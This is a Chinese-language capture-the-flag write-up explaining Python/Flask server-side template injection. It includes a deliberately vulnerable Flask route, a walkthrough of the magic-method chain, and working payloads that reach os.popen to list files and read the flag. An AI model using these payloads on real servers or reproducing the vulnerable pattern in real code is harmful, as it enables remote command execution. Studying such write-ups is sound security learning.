题目描述:只有一句话,翻译出来时python模板注入
1. 思路分析
1.1 什么是python模板注入?
做这道题之前我也不知道什么是python模板注入,问了下chatgpt,回答是这样的:
回答很简洁,举个例子,假设有如下服务端代码:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
template_input = request.args.get('template')
return render_template_string(template_input)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8888, debug=True)
我们将模板内容传递到服务端,服务端会执行模板内容中的代码,比如我们传入一条{{ 7 * 7}}的模板参数,发现返回值为49,说明什么?说明 7 * 7这条指令已经在服务端执行了
这就是python模板注入的基本原理。
1.2 如何利用python模板注入
原理清楚了,那么如何利用呢?基本利用思路是:利用python对象的继承,用魔术方法一步步找到可利用的方法去执行。
步骤为:
1. 寻找父类
2. 寻找子类
3. 寻找命令执行或者文件操作相关的模块
基本的魔术方法有以下几种:
1. __class__:返回类型所属的对象
2. __mro__: 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
3. __base__ 返回该对象所继承的基类
4. __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
5. __init__ 类的初始化方法
6. __globals__ 对包含函数全局变量的字典的引用(这里我本地搭建的环境显示不出来,用题目的环境),通过这个可以找到我们想要的函数模块进行调用
了解以上知识后,该题目解法就很清晰了,通过以上魔术方法找到os模块和file模块进行命令执行即可
2. 解题过程
1. 找到能够执行文件读取和命令执行的类:{{''.__class__.__mro__[2].__subclasses__()}}。一个是file,一个是site.Printer
2. 利用site.Printer的os模块执行命令:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
3. 可以看到当前目录下有个fl4g,执行cat fl4g即可:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
拿到flag为:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
总结:这道题考察的是Python模板注入的知识,比较简单,对模板注入有一些基本的了解就可以了,本题题目是其次,最大的收获是对Python模板注入的知识有了初步的了解